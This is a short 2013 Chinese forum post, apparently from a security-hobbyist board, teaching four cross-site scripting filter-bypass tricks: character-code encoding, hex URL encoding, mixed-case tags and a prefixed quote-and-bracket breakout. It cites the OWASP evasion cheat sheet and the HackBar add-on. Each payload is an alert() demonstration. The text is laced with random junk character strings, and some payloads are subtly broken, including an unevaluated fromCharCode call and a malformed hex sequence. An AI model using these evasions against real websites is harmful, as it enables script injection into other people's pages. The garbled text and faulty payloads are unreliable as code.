找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1921|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。6 W8 R- P$ o- F  E7 s2 s
1.转换为ASCII码: d( ^( ^( \  d
例子:原脚本为<script>alert(‘I love F4ck’)</script >4 Z# C' o1 G7 P
通过转换,变成:
, O  U: J' v: E$ O  @<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>; l0 Z, o) B. v) @6 B  ^% w

# {- m  w% r- S8 ^# W. X, j2.转换为HEX(十六进制)
$ d  k/ Y; {0 V9 Y/ d: r例子:原脚本为<script>alert(‘I love F4ck’)</script>7 v9 D( o4 {  z/ U* @; `0 \! A
通过转换,变成:
2 ]3 ]( k  ?6 X5 E' g%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
) U2 h$ B; I$ ]
- K* ]7 }8 J9 D6 G" c/ T3.转换脚本的大小写
1 ]' d: Z$ M7 Y6 L; j% }例子:原脚本为<script>alert(‘I love F4ck’)</script>* R/ u% a' E* N, p, N! j
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>; q" v! R. y( U/ E
/ Z3 B7 j& M6 W
4.增加闭合标记”>
7 A# \; ?! y6 d: E9 y5 n例子:原脚本为<script>alert(‘I love F4ck’)</script>' B+ b8 O8 R% ?7 s6 ^- J
转换为:”><script>alert(‘I love F4ck’)</script>, i* ^0 X0 R8 V$ f$ i8 J' j6 U
更详细绕过技术请参考此网页
& x2 b7 J$ C0 ~' q0 c) _https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet" |; y% ~6 U* l
: }; f+ B  B) \9 k$ v
转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表